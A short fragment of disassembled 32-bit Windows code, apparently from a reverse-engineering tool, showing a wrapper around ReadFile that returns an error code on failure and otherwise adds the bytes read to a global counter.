call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10